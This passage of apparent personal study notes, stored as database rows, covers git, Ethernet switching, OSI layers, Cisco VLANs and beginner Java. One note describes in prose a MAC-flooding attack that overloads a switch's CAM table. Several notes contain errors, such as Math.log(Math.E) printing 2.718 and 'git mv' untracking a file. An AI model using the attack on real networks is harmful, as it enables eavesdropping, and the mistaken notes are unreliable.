change\n\nex:\n	git reset --hard eN4qUe88654w4\n','2015-02-02 14:52:29'),(481,'#git -cancel-commit by +revert',NULL,NULL,'\nto delete a commit that u did by mistakes\nex:\n	git revert cb8144f5c61\n\nthis will create a new commit which will revert the previous commit\n','2015-02-02 14:06:51'),(483,'#git -cancel-commit by +reset',NULL,NULL,'\nto delete a commit that u did by mistakes\nex:\n	git reset cb8144f5c61\n\nthis will delete completely the previous commit\nbut note that the work in the file wasn_t modified at all\n','2015-02-02 14:10:15'),(485,'#git *reset -hard -delete-commit-the_last',NULL,NULL,'\nwhen u do reset -hard\n	ur commit will change \n	-\n	and\n	-\n	ur file will change\n\nex:\n	git reset --hard ORIG_HEAD\n','2015-02-02 14:53:27'),(486,'#git -commit-a .without_add_files_in_repo__commit_immediately',NULL,NULL,'\nif u modified files in a repos\nu want to commit the modification but without adding files in the commit like:\n	git add file00\nu can commit immediately without adding the file_modified with:\n	git commit -a -m \"comment in the commit\"\n','2015-02-02 14:58:32'),(487,'#git -remove_files_in_repo_ONLY -untrack',NULL,NULL,'\nto remove file00 in repo only\n	which means that file00 will not be tracked by git no longer\n$ git mv file00 file01\n\nwhen u do git status\n	u will not see file00 and file01 no longer\n','2015-02-02 17:39:28'),(488,'#git -list-files *ls-files',NULL,NULL,'\ngit ls-files\n	to list all files which are tracked by git\n	-- this is a part of git status\n','2015-02-02 15:12:32'),(489,'#git *log -see_the_comment_and_some_info_about_commit',NULL,NULL,'\ngit log -n 4\n	will show the information about the 4last_commit\n','2015-02-02 15:14:59'),(490,'#git -commit -amend',NULL,NULL,'\nu did a commit\nu did modification\nu want the last modification will be the last commit\nthen:\n	git commit -a --amend\n','2015-02-02 15:17:25'),(491,'#git -change*branch -checkout',NULL,NULL,'\nu are in branch_master\nu want to go in branch00, then:\n	git checkout branch00\n','2015-02-02 15:37:23'),(494,'#git -merge -intro',NULL,NULL,'\nu have this schema:\n                       +--------+     +--------+       +--------+       \n               +------>|        +---->|        +------>|        |  	     branch00\n               |       +--------+     +--------+       +--------+       \n               |\n          +----+---+     +--------+              \n          |        +---->|        |              \n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nmerge will bring the modification in branch00 to the branch_master\n	bcz the work in branch00 is ok and ready to be added in branch_master\n	to do that:\n		u_re in branch00\n		go to branch_master [plz do not forget this]\n		do the merge\n			git merge branch00\n\nnow we have this one:\n   \n                       +--------+     +--------+       +--------+            +--------+ \n               +------>|        +---->|        +------>|        +----->>+--->|        +-> \n               |       +--------+     +--------+       +--------+       ^    +--------+ \n               |                                                        |\n          +----+---+     +--------+                                     |\n          |        +---->|        +-------------------------------------+\n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\n\nlike this exactly:\n        \n                                 +- branch00\n                       +---------+------------------------------+\n                       |                                        |\n\n                       +--------+     +--------+       +--------+            +--------+ \n               +------>|        +---->|        +------>|        +       +--->|        +-> \n               |       +--------+     +--------+       +--------+       ^    +--------+ \n               |                                                        |\n          +----+---+     +--------+                                     |\n          |        +---->|        +-------------------------------------+\n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nwe can see that we can delete branch00 by\n    git branch -d branch00\n','2015-02-02 16:15:58'),(493,'#git -branch -intro',NULL,NULL,'\nafter creating a branch with:\n	git branch branch00\nu did some commits in branch00\nu went back in branch_master\nand u went back in branch00,\nso u have this following schema:\n\n\n                                    +-- branch00   \n                       +------------+---------------------------+\n                       |                                        |\n\n                       +--------+     +--------+       +--------+       \n               +------>|        +---->|        +------>|        |       \n               |       +--------+     +--------+       +--------+       \n               |\n          +----+---+     +--------+              \n          |        +---->|        |              \n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nwe can see that branch00 is further than branch_master\n	we can do 2things:	\n		merge\n		rebase\n\n','2015-02-02 15:56:53'),(495,'#git -file_get_back_to_commit00 -checkout',NULL,NULL,'\ngit checkout 3467xshg file00\n','2015-02-02 16:30:48'),(496,'#git -get_back_all_repo_to_commit00 -checkout',NULL,NULL,'\ngit checkout r34xds5\n	::::warning:::: remember that u_re in a ghost_branch\n	check that with this\n		git branch\n	u _must_ go back in branch_master\n		git checkout master\n','2015-02-02 16:30:48'),(497,'#git -create-branch-after-going-back-in_commit00 -checkout',NULL,NULL,'\nu_re in b_master\nu want to go back in r357xce446 and create a branch automatically\n	git checkout r357xc -b testing\nimmediately u_ve this next:\n\n            +-----+         +------+        +-------+\n            |     +-------->|      +------->|       |\n            +--+--+         +------+        +-------+\n               |             +------+\n               +-------------+      |\n                             +------+\n\n               |                    |\n               +----+---------------+\n                    +- this is done just after the prev cmd\n\n','2015-02-02 16:40:19'),(498,'#git *log -long-list',NULL,NULL,'\ngit log file00\n	to get all _commits_ which modified file00\n\ngit log --since=\"2 days ago\"\n	very explicit\n	OR\n	git log --since=2.days\n\ngit log file00 --since=\"2 days ago\"\n	explicit\n\ngit log --since=\"2 years 1 day 3 minutes ago\"\n	explicit\n\ngit log -n 4 -p\n	to get some info about the 4last commits\n	-p is done to get the modification in each file\n	is the same as:\n		git log -p -n 4\n\ngit log --stat\n	to get the sumUp of the information about the commit\n\ngit log --pretty=oneline\n	this the out\n		ca82a6dff817ec66f44342007202690a93763949 changed the version number\n		085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7 removed unnecessary test code\n		a11bef06a3f659402fe7563abf99ad00de2209e6 first commit\n\ngit log --pretty=format:\"%h — %an, %ar : %s\"\n	out:\n		ca82a6d — Scott Chacon, 11 months ago : changed the version number\n		085bb3b — Scott Chacon, 11 months ago : removed unnecessary test code\n\ngit log --pretty=format:\"%h %s\" --graph\n	out:\n		* 2d3acf9 ignore errors from SIGCHLD on trap\n		*\n		5e3ee11 Merge branch \'master\' of git://github.com/dustin/grit\n		|\n		| * 420eac9 Added a method for getting the current branch.\n		* | 30e367c timeout code and tests\n		* | 5a09431 add timeout protection to grit\n		* | e1193f8 support for heads with slashes in them\n		|/\n		* d6016bc require time for xmlschema\n		*\n		11d191e Merge branch \'defunkt\' into local\n\n\n','2015-02-15 15:50:13'),(499,'#git -long-list *log +--pretty=format:XXXXXXX',NULL,NULL,'\nex:\n	git log --pretty=format:\"%h %s\" --graph\n	\nOption Description du formatage\n%H Somme de contrôle du commit\n%h Somme de contrôle abrégée du commit\n%T Somme de contrôle de l\'arborescence\n%t Somme de contrôle abrégée de l\'arborescence\n%P Sommes de contrôle des parents\n%p Sommes de contrôle abrégées des parents\n%an Nom de l\'auteur\n%ae e-mail de l\'auteur\n%ad Date de l\'auteur (au format de l\'option -date=)\n%ar Date relative de l\'auteur\n%cn Nom du validateur\n%ce e-mail du validateur\n%cd Date du validateur\n%cr Date relative du validateur\n%s Sujet\n\n','2015-02-02 17:35:51'),(500,'#git -long-list *log --XXXXXXX',NULL,NULL,'\nOption Description\n-p Affiche le patch appliqué par chaque commit\n--stat Affiche les statistiques de chaque fichier pour chaque commit\n--shortstat N\'affiche que les ligne modifiées/insérées/effacées de l\'option --stat\n--name-only Affiche la liste des fichiers modifiés après les informations du commit\n--name-status Affiche la liste des fichiers affectés accompagnés des informations d\'ajout/\nmodification/suppression\n--abbrev-commit N\'affiche que les premiers caractères de la somme de contrôle SHA-1\n--relative-date Affiche la date en format relatif (par exemple \"2 weeks ago\" : il y a deux semaines) au lieu du\n--graph Affiche en caractère ASCII le graphe de branches et fusions en vis-à-\nvis de l\'historique\n--pretty=<format>Affiche les commits dans un format alternatif. Les formats incluent oneline, short, full\n','2015-02-02 17:35:51'),(501,'#git -long-list *log -XXXX',NULL,NULL,'\nex:	git log --since=2.weeks\n\nOption Description\n-(n) N\'affiche que les n derniers commits\n--since, --after Limite l\'affichage aux commits réalisés après la date spécifiée\n--until, --before Limite l\'affichage aux commits réalisés avant la date spécifiée\n--author Ne montre que les commits dont le champ auteur correspond à la chaîne passée en argument\n--committer Ne montre que les commits dont le champ validateur correspond à la chaîne passée en argument\n\nex: got log --since=2.weeks --until=1.weeks','2015-02-15 15:49:09'),(502,'#network -cable# #rj45 -color','\ndroit\n	tx+     orange/white-tracer\n	tx-     orange\n	rx+     green-white_tracer\n	        blue\n	        blue-white_tracer\n	rx-     green\n	        brown-white_tracer\n	        brown\n\ncrossed:\n	orange/white-tracer		             green-white_tracer\n	orange                               green              \n	green-white_tracer                   orange-white_tracer\n	blue                                 brown-white_tracer\n	blue-white_tracer                    brown\n	green                                orange\n	brown-white_tracer                   blue\n	brown                                blue-white_tracer\n	\n',NULL,NULL,'2015-02-03 04:31:03'),(503,'#network -topology_intro','\n3types ppl:\n	bus\n            +----+    +------+\n            | pc |    |  pc  |\n            +--+-+    +--+---+\n               |         |\n          -----+---+--+--+--------     \n                   |  |\n              +----+  +-----+\n              | pc |  | pc  |\n              +----+  +-----+\n\n\n	anneau\n             \n                        +------+\n                        |  pc  |\n          +---+         +----+-+\n          | pc+<--+          |\n          +---+   v  *******<-  \n                   **       **      +---+\n      +----+      *           * <-->+p c|\n      | pc +<---->*           *     +---+\n      +----+      *           * \n                   **       **   +-----+\n        +---+<-----> ******* <-->+ pc  |\n        |p c|        ^           +-----+\n        +---+        |\n                  +--+-+\n                  | pc |\n                  +----+\n\n\n	etoile\n            \n                                +--+                +--+\n                                |PC|<--+       +--->|PC|\n                                +--+   |       |    +--+\n                                       v       v\n                     +--+            +-+-------+---+        +--+\n                     |PC|<---------->+ S W I T C H +<------>|PC|\n                     +--+            +--+---+---+--+        +--+\n                                        ^   ^\n                                 +--+   |   |   +--+\n                                 |PC|<--+   +-->|PC|\n                                 +--+           +--+ \n',NULL,NULL,'2015-02-03 04:49:23'),(509,'#network -protocol -ethernet -layer_data_link -layer2','\nau couche2, on parle de trame\non doit envoyer:\n	@mac_emetteur\n	@mac_destinataire\n	msg\n\n\nformat du trame dans couche_datalink, prot ethernet\n\n       +------------+------------+-------------------------+--------------+------+\n       |@mac_cible  |  @mac_src  | prot_from_network_layer |     DONNEE   |  crc |\n       +------------+------------+-------------------------+--------------+------+\n\n       |            |            |                         |              |      |    --+\n       +---+--------+---+--------+--+----------------------+--------------+-+----+      +-- 18bytes pour l_entete\n           +--6bytes    |           +--2bytes                               +-4bytes  --+\n                        +--6bytes\n       |                                                                         |\n       +------64  bytes  minimum----  1518 bytes maximum-------------------------+\n',NULL,NULL,'2015-02-03 05:26:53'),(506,'#network -@mac -intro','\ntt carte reseau possede un @mac\nles cartes reseaux se trouvent dans bcp de materiels\n	pc\n	routeur\n	....\n',NULL,NULL,'2015-02-03 05:08:04'),(507,'#network -datalink -layer -intro(1)','\ndatalink sumup\n	encode|decode\n	detect error\n		datalink verra les erreurs mais ne les corrigerait pas\n	provide info for transmission\n\n	protocol:\n		ethernet\n',NULL,NULL,'2015-02-03 05:10:23'),(508,'#network -@mac -intro','\n48bits\ntt carte reseau possede un @mac\nles cartes reseaux se trouvent dans bcp de materiels\n	pc\n	routeur\n	....\n',NULL,NULL,'2015-02-03 05:10:23'),(510,'#network -switch -protocol -cam_table','\nswitch va lire @mac_target\nswitch possede table_cam\n\ntable_cam\n	relie port - @mac_pc\n	ex:\n		Port 	@MAC\n		------|---------\n		1 		@MAC 23\n		2 		@MAC 24\n		3 		@MAC 25\n	\'\n	table_cam va etre mis_a_jour au cours du tps\n		au debut il est vide\n	\'\n	\'\n	ex:  table_cam a t=0 est vide\n         nous avons le reseau suivant\n           \n               +------+\n               |switch|\n               +-+-+-++\n     +----+      | | |         +-------+\n     |pc24+------+ | +---------+ pc25  |\n     +----+        |           +-------+\n               +---+----+\n               |  pc23  |\n               +--------+\n	\n		si pc23 envoie packet a pc25 or table_cam vide pour le switch\n			sw lit @macSrc du packet\n				sait que qu_il vient du pc23\n				modifie table_cam\n					relie @mac_pc23 a certain_port du sw\n				table_cam devient\n					port		@mac\n					--------|------------\n					2			@mac_pc23\n\n			@mac_cible pas dans table_cam\n				sw va envoyer a tt le monde le packet et seule la cible va repondre\n					apres, il y a aussi mis_a_jour du table_cam\n				table_cam devient\n					port		@mac\n					--------|-------------\n					2			@mac_pc23\n					3			@mac_pc25\n\n\ntable_cam possede un ttl\n\n',NULL,NULL,'2015-02-03 05:43:34'),(514,'#network -hack-switch','\nfaut lire:	n_t(509, 510)\n\non envoie packet sur un macXX a travers sw00 dont macXX n_existe pas\n	switch va envoier packet sur tout les ports d_une facon infini\n\non envoie _bcp_packet dont src sont tjr different sur le sw\n	table_cam du sw00 va etre enorme,\n	lecture du table_cam va etre tres lent\n	sw va plus lire table_cam\n	sw va envoier les packets sur tout les ports\n',NULL,NULL,'2015-02-03 06:49:29'),(515,'#network -csma_cd','\ncsma_cd=carrier sense multiple access/collision detection\ncsma_cd est utilise qd il y a collision\ncollision=qd 2pc parlent en meme tps\n\ns_il y a collision\n	les 2pc se taisent\n	pcA parle apres tp00 aleatoire\n	pcB parle apres tp01 aleatoire\n',NULL,NULL,'2015-02-03 06:49:29'),(513,'#network -table_cam -switch -ttl','\nil y a bcp de colonnes dans la table_cam du switch\nune est ttl\ndonc:\n     port	@mac	ttl\n     ---------------------\n    	1    mac01   35s\n    	2    mac02    74s\n	\n	qui veut dire que \n		dans 36s si materiel_mac01 n_a pas parlee table_cam devient\n        port	@mac	ttl\n        -----|---------|----\n        2       mac02     74s\n        \'\n        si materiel_mac02 parle, son_ttl va augmenter\n\n',NULL,NULL,'2015-02-03 06:24:46'),(516,'#network -csma_cd -switch','\nsupposons:\n                 +-----------+ \n          +------+s w i t c h+-----+\n          |      +--+--------+     |\n          |         |              |\n          |         |              |\n       +--+-+       |           +--+-+\n       |pc01|     +-+---+       |pc03|\n       +----+     +-pc02|       +----+\n                  +-----+\n\n  si pc01 et pc02 parle en meme tps a pc03\n    sw va d_abord enregistrer les msg \n    va envoier d_abord une et puis apres l_autre\n\navec switch, il n_y a plus de csma_cd\nla carte reseau qui n_utilise plus de csma_cd s_appelle\n    carte_reseau en mode full duplex\n    le contraire est carte_reseau fonctionnant sur __half-duplex__\n',NULL,NULL,'2015-02-03 06:59:42'),(517,'#network -hub -full_duplex','                      \ntt machines connectees sur un hub doit etre configurer en half_duplex\nhub est tjr en mode half_duplex\ncarte reseau de nos jours sont intelligents\n    savent qd se mettre en mode full_duplex | half_duplex\n\nsupposons:+--------+\n          | H U B  |\n          ++---+--++  \n           |   |  +------------+\n         +-+   |               |\n     +---++  +-+--+          +-+---+\n     |pc01|  |pc02|  ....... |pc100|\n     +----+  +----+          +-----+\n\n\nles pc qui sont connectees sur hub sont consideres comme pc en topologie _bus_\nsi 2pc parlent en mm tp\n    il y a collision\nsupposons il y a pcX qui est configurer en full_duplex et les autres en half_duplex\n    pcX va tjr parler \n    mais les autres va attendre que pcX tait pour pouvoir parler\n        donc tt le reseaux est bloquer\n',NULL,NULL,'2015-02-03 07:10:19'),(518,'#mysql -create-table from_select_on_table00',NULL,NULL,'\ncreate table table01 select * from table00\n','2015-02-03 08:08:41'),(519,'',NULL,NULL,'','2015-02-03 08:09:22'),(520,'#cisco *vlan -intro(1)',NULL,NULL,'\nlet_s suppose\n\nby default in switch:\n    all pc are connected in vlan1\n\n\n                          +--------------------------------------------+\n                     +----+--+   fa0/3                                 |\n        fa0/1 +------+  s w  +------------+                            |\n              |      +----+--+            |                            |\n              |           |fa0/2          |                            |\n              |           |               |                            |\n              |           |               |                            |\n           +--+---+       |            +--+-+     -+                   |\n           | pc01 |       |            |pc03|      +- in vlan1         |\n           +------+     +-+--+         +----+     -+                   |\n                        |pc02|                                         |\n                        +----+                                         |\n                                                                       |\n           |                 |                                         |\n           +--+--------------+                                         |\n              +- vlan2                                                 |\n                                                                       |\n                                                                       |\n                                                                       |\n                                                                       |\n                                                             -----+    |\n    create vlan2                                                  |    |\n        > en                                                      |    |\n        # conf t                                                  |    |\n        (config)# vlan 2                                          |    |\n        (config-vlan)# name vlan2                                 |    |\n        (config-vlan)# exit                                       |    |\n        (config)#                                                 |    |\n                                                                  |    |\n    go to fa0/1                                                   |    |\n        (config)# interface fa0/1                                 +----+     \n        (config-int)#                                             |\n    put the port(fa0/1) in vlan2                                  | \n    switch the fa0/1 to mode access                               |\n        (config-int)# switchport mode access                      |\n    put the fa0/1 in vlan2                                        |\n        (config-int)# switchport access vlan 2                    |\n                                                                  |\n    go to fa0/2                                                   |\n    conf this port like the previous in fao/1                                         |\n                                                             -----+\n\n\n\n\n\n\n','2015-02-05 06:58:54'),(521,'#network -data-form #tcp_ip -osi','\n\n                                 tcp_ip                        osi\n          +--                +-------------------+-----------+---------------+\n          |                  |                   |           |-------------- |\n          |                  |                   |   apdu    |application    |\n +------+ |                  |                   |           |-------------- |\n |couche| |                  |                   |   ppdu    |presentation   |    data_unit\n |      | |    message       | application       |           |-------------- |\n |      | |                  |                   |   spdu    |session        |\n | hote | |   ---------------+-------------------+-----------+-------------- +--------------\n +------+ |                  |                   |           |-------------- |\n          |    segment       | transport         |   tpdu    |transport      |    segment\n          |\n-+--------+------------------+-------------------+-----------+-------------- |\n +------+ |    datagram      | internet          |           |network        |    packet\n |couche| |   ---------------+-------------------+-----------+-------------- |\n |      | |                  |                   |           |data_link      |    frame\n |medias| |    frame         | network interf    |           |-------------- |\n |ou    | |                  |                   |           |physic         |    bit\n |reseau| +------------------+-------------------+-----------+---------------+-------------- \n +------+\n              |              |                                                |              |\n              +--+-----------+                                                +-+------------+\n                 +-name of data                                                 +- name of data\n\n\n',NULL,NULL,'2015-02-03 09:05:31'),(522,'#network -data-form_pdu #tcp_ip -osi','\n                  +-------- P D U ---------------+\n                  |                              |\n\n                  +----------+-------------------+\n                  |  header  |       S D U       |\n                  +----------+-------------------+\n\nex:   pour la couche transport\n    sdu est\n          +--+--+--+-------+\n          |sh|ph|ah|dataIni|\n          +--+--+--+-------+\n    \n    pdu est\n       +--+--+--+--+--------+\n       |th|sh|ph|ah|dataIni |        \n       +--+--+--+--+--------+\n\n\n osi                                            +-------+\n---------------+                                |dataIni|\n-------------- |                            +---+-------+\napplication----+---                         |ah |dataIni|         apdu\n-------------- |                       +----+---+-------+\npresentation   |                       | ph |__ |dataIni|         ppdu\n-------------- |                    +--+----+   |       |\nsession        |                    |sh|___ |___|dataIni|         spdu\n-------------- +                    |  |    |   |       |\n-------------- |              +-----+--+    |   |       |\ntransport      |              | th  |  |    |   |dataIni|         tpdu\n               |              |     |  |    |   |       |\n-------------- |          +---+-----+  |    |   |       |\nnetwork        |          |nh |     |  |    |   |dataIni|         packet\n-------------- |     +----+---+-----+--+----+---+-------+------+\ndata_link      |     |  dh|   |     |  |    |   |dataIni|  df  |  frame\n-------------- |     +----+---+-----+--+----+---+-------+------+\nphysic         |        010011110111010101010101010010010001011   bits\n---------------+ \n\n              \n              \n              \n\n\n',NULL,NULL,'2015-02-03 09:29:01'),(523,'#java -print -echo',NULL,NULL,'System.out.println(\"ur text\");','2015-02-03 15:16:19'),(524,'#java -main',NULL,NULL,'\nmain should be inside:\n	public static void main(String[] args){\n	//everything start here\n	}\n','2015-02-03 15:16:19'),(525,'#java -function not-static',NULL,NULL,'public int add(int a, int b){\n	return a+b;\n}','2015-02-03 15:24:52'),(526,'#java -power_10',NULL,NULL,'always double\n	double a = 1E3;\n	// a = 1000\n','2015-02-03 15:30:03'),(528,'#java -power_10 -(int)E(int)',NULL,NULL,'always double\n	double a = 6;\n	// a = 6.0\n','2015-02-03 15:32:37'),(531,'#java -convert-Double-to-double vice_versa',NULL,NULL,'\n	Double d = new Double(5.76);	// double to Double\n	double d01 = d.doubleValue();\n','2015-02-03 15:37:55'),(530,'#java -class_enveloppe',NULL,NULL,'\nclasse_enveloppe                type_primitif\n-------------------------------------\nInteger                                 int\nDouble                                  double\n\n##end_array\nex:\n    Double d = new Double(5.76); // is the same as the below\n    Double d = 5.76;\n\n##end_ex\n','2015-02-17 09:28:02'),(534,'#java -basic -switch -case',NULL,NULL,'\n	int a=0;\n	switch(a){\n		case 0:\n			System.out.println(\"0a\");\n			System.out.println(\"0b\");\n			break;\n		case 1:\n			System.out.println(\"1a\");\n			System.out.println(\"1b\");\n			break;\n		default:\n			System.out.println(\"def_a\");\n			System.out.println(\"def_b\");\n	}\n','2015-02-03 16:33:53'),(533,'#java -basic -if -else-if',NULL,NULL,'\n	int a = 0;\n	if(a > 10){\n		System.out.println(\"inf 10\");\n	}else if(a == 0){\n		System.out.println(\"eg 10\");\n	}\n	else{\n		System.out.println(\"sup 10\");\n	}\n','2015-02-03 16:31:45'),(535,'#java -basic -switch -case',NULL,NULL,'\n	int a=3;\n	for (int i = 0; i < a; i++) {\n		System.out.println(i);\n	}\n\n	out:\n		0\n		1\n		2\n','2015-02-03 16:36:47'),(536,'#java -basic -switch -case',NULL,NULL,'\n    double a=Math.log(Math.E);\n	System.out.println(a);\n\n	out:\n		2.718281828459045\n','2015-02-17 08:28:43'),(537,'#java -introduction -hashcode','\nevery objects have a value of hashcode.\nto get it:\n	int a = obj00.hashcode();\n',NULL,NULL,'2015-02-03 16:54:40'),(540,'#java -modificateur -long-list','\nModificateur  | Interface           |    Classe       | Classe imbriquée  | Champ         |         Méthode\n -------------+---------------------+-----------------+-------------------+---------------+----------------------------\npublic        |          Accessible depuis n’importe quelle classe.\n -------------+--------------------------------------------------------------------------------------------------------\nprotected     |          Accessible uniquement depuis cette classe et ses sous-classes.\n--------------+--------------------------------------------------------------------------------------------------------\nprivate       | 	Accessible uniquement depuis cette classe.\n -------------+-----------------------------------------------------------+-----------------------+--------------------\nabstract      |     Contient au moins une                                 | Sans objet            |   Son implémentation\n              |                                                           |                       |   n’est pas définie ; seul\n              |                                                           |                       |   sa signature et son type\n              |                                                           |                       |   de renvoi sont déclarés.\n              |         méthode abstract.                                 |                       |\n--------------+---------------------+-------------------------------------+-----------------------+--------------------\nfinal         |     Sans objet      |       Ne peut pas être décomposée   | Sa valeur ne peut pas | Ne peut pas être\n              |                     |       en sous-classe                | être modifiée.        | remplacée par une \n              |                     |                                     |                       | sous-classe.      \n -------------+---------------------+-----------------+-------------------+-----------------------+--------------------\nstatic        |     sans_objets     |       sans objet|  n_est pas une    |  une seule instance   | Une seule instance\n              |                     |                 |   classe interne  |  existe pour tout les | existe pour tous les\n              |                     |                 |                   |  objets de la classe  | objets de la classe.\n--------------+---------------------+-----------------+-------------------+-----------------------+---------------------\n                                            \n\n',NULL,NULL,'2015-02-03 17:48:52'),(541,'#java my-architecture','                                      \nnot yet done\n\nwhat I_ll do in my prg:                 \n    testing stuffs of code              \n    doing my real code                  \n                                        \n                                        \n             +-----+                       \n +-----------+-----+                   \n |  study_java     |                   \n +--+--------------+                   \n    |         \n    +---Point \n    +---Person',NULL,NULL,'2015-02-03 18:04:50'),(544,'#java -string -compare','\nString a=\"test\";\nString b=\"test\";\n\nif(a.equals(b)){\n	sop(\"this is ok\");\n}\n\nif (a == b) {\n	sop(\"do not do this at home\");\n}\n',NULL,NULL,'2015-02-03 18:49:40'),(545,'#java -long-list -Math','\nsome method and constant about class_Math\n-----------------------------------------\ndouble E=2.7182818284590452354\ndouble PI=3.14159265358979323846\ndouble abs(double x)\ndouble atan(double x)\ndouble ceil(double x)\ndouble cos(double x)\ndouble exp(double x)\ndouble floor(double x)\ndouble log(double x)\ndouble max(double x, double y)\ndouble min(double x, double y)\ndouble pow(double x, double y)\nsynchronized double random()\nlong round(double x)\ndouble sin(double x)\ndouble sqrt(double x)\ndouble tan(double x)\n',NULL,NULL,'2015-02-03 19:24:21'),(546,'#java -Scanner -interactive -read-string -keyboard','\n	Scanner s = new Scanner(System.in);\n	System.out.print(\"str: \");\n\n	String t = s.nextLine();\n	System.out.println(t);\n',NULL,NULL,'2015-02-03 19:29:20'),(777,'#gcac -flux -stream','\nflux: \n    de sortie \n        désigne n’importe quel \"canal\" susceptible de recevoir de l’information sous forme d’une suite d’octet\n        Il peut s’agir d’un périphérique d’affichage\n            System.out.println();\n        il peut s_agir d_un fichier\n        xxxxxxxxxxxxxxxxxxx connection a un site distant\n    d_entree\n        delivre de l_info sous une forme de suite d_octet\n        peut etre:\n            un périphérique de saisie\n                clavier\n            fichier\n            connection a un memo_centrale\n\n#end_flux\n\njava distingue \n    flux binaire  \n    flux texte\n=========================================\nau premier cas(binaire), information est transmise sans modification de la mémoire au flux\n    ou au flux a la memo\nau second cas(texte), l_info subit une transformation(formatage)\n    le meth \"println()\" realise ce genre de formatage\n',NULL,NULL,'2015-02-20 23:50:29'),(543,'#java -string -long-list',NULL,NULL,'\nthe method here inside the class String:\n	length()		:int\n	charAt(5)		:char\n	indexOf(\'E\')	:int\n	startsWith(\"DE\"):boolean\n	endsWith(\"DE\")	:boolean\n	replace(\'a\', \'b\'):void\n	substring(4, 7)	:String\n	toLowerCase()	:String\n	trim()	\nString s=\"ABCDEFG\";\ns = s + \"HIJK\";\n	//	s = ABCDEFGHIJK\ns += \"LMNOP\";\n	// explicit\nSystem.out.println(\"s.length() = \" + s.length());\n	// 16\n	//	the number of char in s\nSystem.out.println(\"s.charAt(6) = \" + s.charAt(6));\n	// ABCDEFGHIJKLMNOP\n	// 0123456789012345\n	//			 111111\n	// out:\n	//	G\nSystem.out.println(\"s.indexOf(’G’) = \" + s.indexOf(’G’));\n	//	6\nSystem.out.println(\"s.indexOf(’Z’) = \" + s.indexOf(’Z’));\n	//	-1\n	//	-1 is the value if the char is not in\nSystem.out.println(\"s.indexOf(’G’,8) = \" + s.indexOf(’G’,8));\n	//	-1\nSystem.out.println(\"s.indexOf(\"GHIJ\") = \" + s.indexOf(\"GHIJ\"));\n	//	6\n\nif (s.startsWith(\"DE\"))\n	System.out.println(\"s.startsWith(\"DE\")\");\n	//	none\nelse System.out.println(\"s ne commence pas par \"DE\"\");\n	//	yep\n\nif (s.startsWith(\"DE\",3))\n	System.out.println(\"s.startsWith(\"DE\",3)\");\n	//	yep\nelse System.out.println(\"s ne commence pas par \"DE\" après 3 chars\");\n	//	nope\n\nif (s.endsWith(\"IJK\"))\n	System.out.println(\"s.endsWith(\"IJK\")\");\n	//	nope	\nelse System.out.println(\"s ne finit pas par \"IJK\"\");\n	//	yep\n\nif (s.endsWith(\"NOP\"))\n	System.out.println(\"s.endsWith(\"NOP\")\");\n	//	yep\nelse System.out.println(\"s ne finit pas par \"NOP\"\");\n	// nope\n\ns += \"DABBADABBADO\";\n	//s = ABCDEFGHIJKLMNOPDABBADABBADO\n	//	  0123456789012345678901234567\n	//				111111111122222222\n\ns = s.replace(’B’,’T’);\n	// replace B by T\n\ns = s.substring(7,10);\n	// take the 7th but do not take the 10th\n	//	s = HIJ\n\ns = s.toLowerCase();\n	//	explicit\n\ns = \" W XY Z \";\n	//	to replace completely\n\ns = s.trim();\n	// to remove all space which are in first_place and in the last_place\n	//	s = \"W XY Z\"\n}\n\n','2015-02-03 18:42:08'),(548,'#java -get-random by-Math','\ngenerate random double between 0 and 1\ndouble d = Math.random();\n	0.456\n	0.2345\n	.....\n',NULL,NULL,'2015-02-03 19:36:22'),(549,'#java -array -intro','\nint a[] = new int[3];\n// so there are 3elts in the array\na[0]=1;\na[1]=1;\na[2]=1;\n\nfor (int i = 0; i < 3; i++) {\n		System.out.println(a[i]);\n}\n\n',NULL,NULL,'2015-02-10 16:41:42'),(550,'#java -random','\n	Random rand = new Random();\n	int min = 0;\n	int max = 10;\n	int randomNum = rand.nextInt((max - min) + 1) + min;\n',NULL,NULL,'2015-02-03 19:42:51'),(551,'#java -create-array with-initialisation','',NULL,'\nString[] myStrings = { \"One\", \"Two\", \"Three\" };\n','2015-02-10 16:42:11'),(552,'#java -create-array with-initialisation',NULL,NULL,'\nString[] myStrings = { \"One\", \"Two\", \"Three\" };\nint[] myints = {1, 5, 74};\n','2015-02-03 19:51:53'),(553,'#java -copy-array -clone',NULL,NULL,'\nString [] strings = {\"a \", \"b \", \"c \"};\nString [] cp = strings.clone();\n','2015-02-03 19:53:46'),(554,'#java -notation','\nlors de la definition|analyse|conception des classes\n	public void meth00{.....}\n	veut dire que meth00 est bcp surchargee\n	qu_il existe bcp de meth00 mais seulemnt les argumnt qui changent\n	ie, il y a:\n		meth00(int)\n		meth00(String)\n		meth00(int, String, char)\n		....\n',NULL,NULL,'2015-02-03 19:57:41'),(555,'#vim -delete-unwanted-space',':%s/\\s\\+$//',NULL,NULL,'2015-02-18 13:31:48'),(558,'#java -hierarchie -long-list','\nObject\n	AbstractCollection\n		AbstractList\n			AbstractSequentialList\n				LinkedList\n			ArrayList\n			Vector\n				Stack\n		AbstractSet\n			HashSet\n			TreeSet\n	AbstractMap\n		HashMap\n		TreeMap\n		WeakHashMap\n	Arrays\n	BitSet\n	Collections\n	Component\n		Button\n		Container\n			Panel\n			Window\n				Frame\n	Date\n	Dictionary\n		Hashtable\n			Properties\n	File\n	Math\n	Number\n		Integer\n		Double\n	Random\n	Reader\n		InputStreamReader\n			FileReader\n	String\n	StringTokenizer\n	System\n',NULL,NULL,'2015-02-03 20:36:24'),(557,'#java methodology',NULL,NULL,'when u start with java\n	java has to get many classes which will be done inside a package :/\n	\nne sous estimez jamais la hierarchie en java\n','2015-02-03 20:31:30'),(562,'#java -instanceof -examples -test_instance',NULL,NULL,'\nString a = \"testomg\";\nif(a instanceof String){\n	System.out.println(\"yep\");\n}else{\n	System.out.println(\"not instance\");\n}\n','2015-02-03 21:48:41'),(560,'#java -recognize-class-of_object','sop(obj00.getClass());',NULL,NULL,'2015-02-03 20:44:04'),(561,'#java -convert int<>String','\nint a = Integer.parseInt(\"123\");\nString str=String.valueOf(1234);\n\nString b = 3+\"\";\n',NULL,NULL,'2015-02-03 20:44:53'),(563,'#java -make_number_in_power','\nalways it should be a double\ndouble d = Math.pow(4, 5);\nthen\n	d=4^5\n',NULL,NULL,'2015-02-03 